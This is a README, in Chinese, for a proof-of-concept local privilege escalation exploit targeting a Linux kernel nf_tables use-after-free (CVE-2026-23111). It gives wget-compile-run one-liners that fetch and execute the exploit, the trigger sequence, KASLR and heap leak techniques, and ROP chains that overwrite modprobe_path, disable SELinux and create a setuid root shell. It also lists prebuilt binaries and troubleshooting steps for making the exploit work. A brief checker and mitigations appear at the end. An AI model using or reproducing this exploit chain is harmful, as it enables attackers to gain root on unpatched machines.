Linux内核nf_tables释放后使用(本地权限提升) poc作者:baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| 版本范围 | 修复版本 |
|---|---|
| 6.19-rc1 至 6.19-rc8 | 6.19-rc9+ |
| 6.13 至 6.18.9 | 6.18.10 |
| 6.7 至 6.12.69 | 6.12.70 |
| 6.4.1 至 6.5.x | 已EOL(无稳定修复) |
| 6.3.10 至 6.3.x | 已EOL |
| 6.0.x, 6.2.x | 已EOL |
| 6.1.36 至 6.1.162 | 6.1.163 |
| 5.15.121 至 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | 各LTS版本 |
CVE-2026-23111是一个nf_tables释放后使用漏洞,由nft_map_catchall_activate()中generation-mask检查逻辑取反引起。在失败事务的回滚过程中,那些被NFT_MSG_DELSET停用的catchall判决映射元素必须重新激活,以便恢复诸如NFT_GOTO链引用等资源。而catchall激活路径却跳过了非活动元素,处理了活动元素,导致已停用的catchall元素未被恢复。
正确的非catchall激活逻辑是:
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* 跳过活动元素,处理非活动元素 */
存在漏洞的catchall路径使用了相反的条件:
if (!nft_set_elem_active(ext, genmask))
continue; /* 跳过非活动元素,处理活动元素 */
当已删除的pipapo判决映射回滚时,这阻止了nft_setelem_data_activate()对非活动catchall元素的执行。对于NFT_JUMP/NFT_GOTO判决数据,由nft_data_hold()获取的链引用因此无法恢复。重复执行中止/切换/删除序列可以将chain->use降至零,而另一条规则仍持有对该链的有效判决引用。随后执行DELCHAIN可在链仍可达时将其释放,造成释放后使用。
创建表、基础链、受害链和带有catchall NFT_GOTO -> victim的pipapo判决映射
|
批次1:删除pipapo集合,然后强制引发事务错误
|
中止路径调用nft_map_catchall_activate(),但取反的检查跳过了非活动的catchall
|
该catchall保持非活动状态,受害链引用计数未恢复
|
批次2:提交一个良性事务以切换generation游标
|
批次3:成功删除pipapo集合,再次减少受害链引用
|
批次4:删除受害链,但基础链的判决仍引用它
|
随后的数据包评估或规则转储跟随悬空判决引用时发生释放后使用
上游修复是移除取反操作,使nft_map_catchall_activate()与nft_mapelem_activate()一致:跳过活动元素,重新激活非活动元素,并在中止处理期间恢复判决/对象引用。
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
如果完整版/v1 PoC在目标内核上失败,请使用此命令。
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
如果编译器找不到libmnl/libmnl.h或libnftnl头文件,请先安装构建依赖项:
scripts/install-build-deps.sh
# 或
make deps
make # 构建漏洞利用程序(仅PoC)
make v2 # 构建v2漏洞利用程序(FuzzingLabs方法 —— v1失败时尝试)
make full # 构建完整LPE漏洞利用程序
make v3 # 构建v3校准评估路径变体
make run-d # 运行PoC(带调试输出)
make run-v2-d # 运行v2(带调试输出)
make run-v3 # 显示v3用法/帮助
make run-full # 运行完整LPE
创建一个pipapo映射集合,其中包含一个catchall元素(goto受害链),然后利用DELSET中止期间的取反genmask漏洞破坏chain->use。在推进generation计数器后,尽管存在悬空引用,DELCHAIN仍会成功执行,从而释放该链。
UAF之后,chain->name内存被释放。我们通过打开/proc/self/stat喷洒seq_operations结构(32字节)以回收释放的slab缓存槽位。通过NFT_MSG_GETRULE读取回基础链的立即判决规则,转储被回收的链名称,从而泄漏内核函数指针。指针验证确保只接受规范的内核文本地址。
使用更长的链名称(140字节 → kmalloc-cg-192)重新触发UAF,然后喷洒nft_rule对象以回收该内存。泄漏的list_head指针揭示了直接映射区域中的堆地址。
nft_expr_ops和nft_rule_blobblob_gen_0commit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcore自动扫描expr->ops->evalv2漏洞利用程序(exploit_v2.c)使用FuzzingLabs文章中描述的技术,可在v1 PoC失败时使用。主要区别:
init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue(标记指针)
msg_queue + 0xc0 → q_messages.next → msg_msg堆地址
每一步都使用已释放的链结构作为任意读原语:
表userdata(128字节)在kmalloc-cg-128中回收已释放的nft_chain,
内核在SET_B元素转储期间解引用放置在偏移量0x40(即chain->name所在位置)处的内核地址。
v3堆阶段是基于偏移预测的,而不是真正的二进制安全任意读(通过eval)原语。在运行最终喷洒之前校准目标:
grep msg_msg /proc/slabinfo
# 与kmalloc-cg-2048对象密度交叉引用,然后运行:
./exploit_v3 --msg-msg-addr 0xffff...
# 或者,当该值相对于泄漏的内核基址已知时:
./exploit_v3 --msg-msg-delta 0x...
根据精确的内核构建验证nftables结构偏移量:
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)
Gadget扫描使用/proc/kcore;如果被限制,则离线从vmlinux中提取gadgets并相对于泄漏的内核基址硬编码地址。v3数据包评估路径使用push rdi; pop rsp,因为rdi = expr;这与v2验证路径不同(v2中rsi = expr)。
push rdi; pop rsp; pop rbp; ret ← 栈转移(rdi = expr)
pop rdi; ret → &modprobe_path \
pop rax; ret → "/tmp/pe\0" │ 写入modprobe_path
mov [rdi], rax; ret /
pop rdi; ret → &selinux_state \
xor eax, eax; ret │ 禁用SELinux
mov [rdi], eax; ret /
pop rdi; ret → 10000 \
msleep │ 保持内核存活
当内核在遇到未知二进制格式后调用modprobe_path时,/tmp/pe脚本以root身份运行。它在/tmp/rootbash处创建一个setuid root shell。
NFT_MSG_GETELEM(不同的内核代码路径)而非NFT_MSG_GETRULEinit_ipc_ns全局变量遍历内核数据结构,而非喷洒nft_rule对象msg_msg-2k(大而稳定的缓冲区)而非nft_rules + 表userdata作为ROP负载modprobe_path(无需swapgs/iretq)而非commit_creds + 命名空间切换SLAB_RANDOM/加固:v2的init_ipc_ns链针对稳定的全局变量,使堆布局不那么关键在nft_map_catchall_activate()(net/netfilter/nf_tables_api.c)中:
list_for_each_entry(catchall, &set->catchall_list, list) {
ext = nft_set_elem_ext(set, catchall->elem);
if (!nft_set_elem_active(ext, genmask)) // 缺陷:应该不带 '!'
continue;
nft_clear(ctx->net, ext);
nft_setelem_data_activate(ctx->net, set, catchall->elem);
break;
}
!导致函数跳过非活动元素而非处理它们。在事务回滚期间,catchall元素(刚刚被DELSET停用)被跳过,因此nft_data_hold()从未被调用以恢复链引用计数器。
├── CVE-2026-23111-checker.py 漏洞检测脚本(--detailed, --json)
├── exploit.c PoC漏洞利用程序(UAF + KASLR泄漏 + 堆泄漏)
├── exploit_v2.c v2漏洞利用程序(FuzzingLabs方法 —— v1失败时尝试)
├── exploit_full.c 完整LPE漏洞利用程序(UAF + 泄漏 + ROP链)
├── exploit_full_aarch64 预构建的aarch64二进制文件(静态)
├── exploit_full.b64 经Base64编码的完整漏洞利用程序二进制文件
├── Makefile 构建配置
└── README.md 本文件
apt-get install -y libmnl-dev libnftnl-dev gcc make python3
apt-get install -y gcc-aarch64-linux-gnu
make aarch64
make debug # PoC with ASan
make debug-full # Full exploit with ASan
检测脚本执行多种检测方法:
nf_tables内核模块是否已加载/proc/config.gz或/boot/config-*读取CONFIG_NF_TABLES/proc/kallsyms中查找nft_map_catchall_activatekernel.unprivileged_userns_clone sysctlpython3 CVE-2026-23111-checker.py --detailed # 人类可读格式,含缓解措施
python3 CVE-2026-23111-checker.py --json # 机器可读的JSON格式
sysctl kernel.unprivileged_userns_clone=0nf_tables模块加入黑名单:
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
| 组件 | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|
| UAF触发 | 单个集合 + 立即goto规则 | 两个集合(FuzzingLabs风格)+ 查找规则 |
| KASLR回读 | NFT_MSG_GETRULE(规则转储) | NFT_MSG_GETELEM(元素转储)+ GETRULE备用 |
| 堆泄漏 | nft_rule喷洒 + list_head泄漏 | init_ipc_ns任意读链 |
| ROP宿主 | nft_rules + 表userdata | msg_msg-2k(2048字节消息) |
| 劫持触发 | 立即goto上的数据包评估 | 幸存集合catchall上的数据包评估 |
| 权限提升 | commit_creds + switch_task_namespaces | modprobe_path覆盖 + 禁用SELinux |
| 返回路径 | swapgs; iretq | msleep()(停留在内核态) |
| 问题 | 解决方案 |
|---|
mnl_socket_open: No such file or directory | 确保已加载nf_tables模块:modprobe nf_tables |
unshare: Operation not permitted | 需要非特权用户命名空间。检查kernel.unprivileged_userns_clone=1 |
Batch A did NOT abort | 内核可能已被修补,或genmask行为不同 |
No kernel pointer leaked | 可能启用了KASLR或SLAB_RANDOM;尝试多次运行 |
No heap pointer found | 堆喷洒碰撞率是概率性的;重试或增加喷洒数量 |
编译错误:nf_tables.h: No such file | 安装内核头文件:apt install linux-headers-$(uname -r) |
链接错误:对mnl_*的未定义引用 | 链接顺序很重要:-lnftnl -lmnl(nftnl在前,mnl在后) |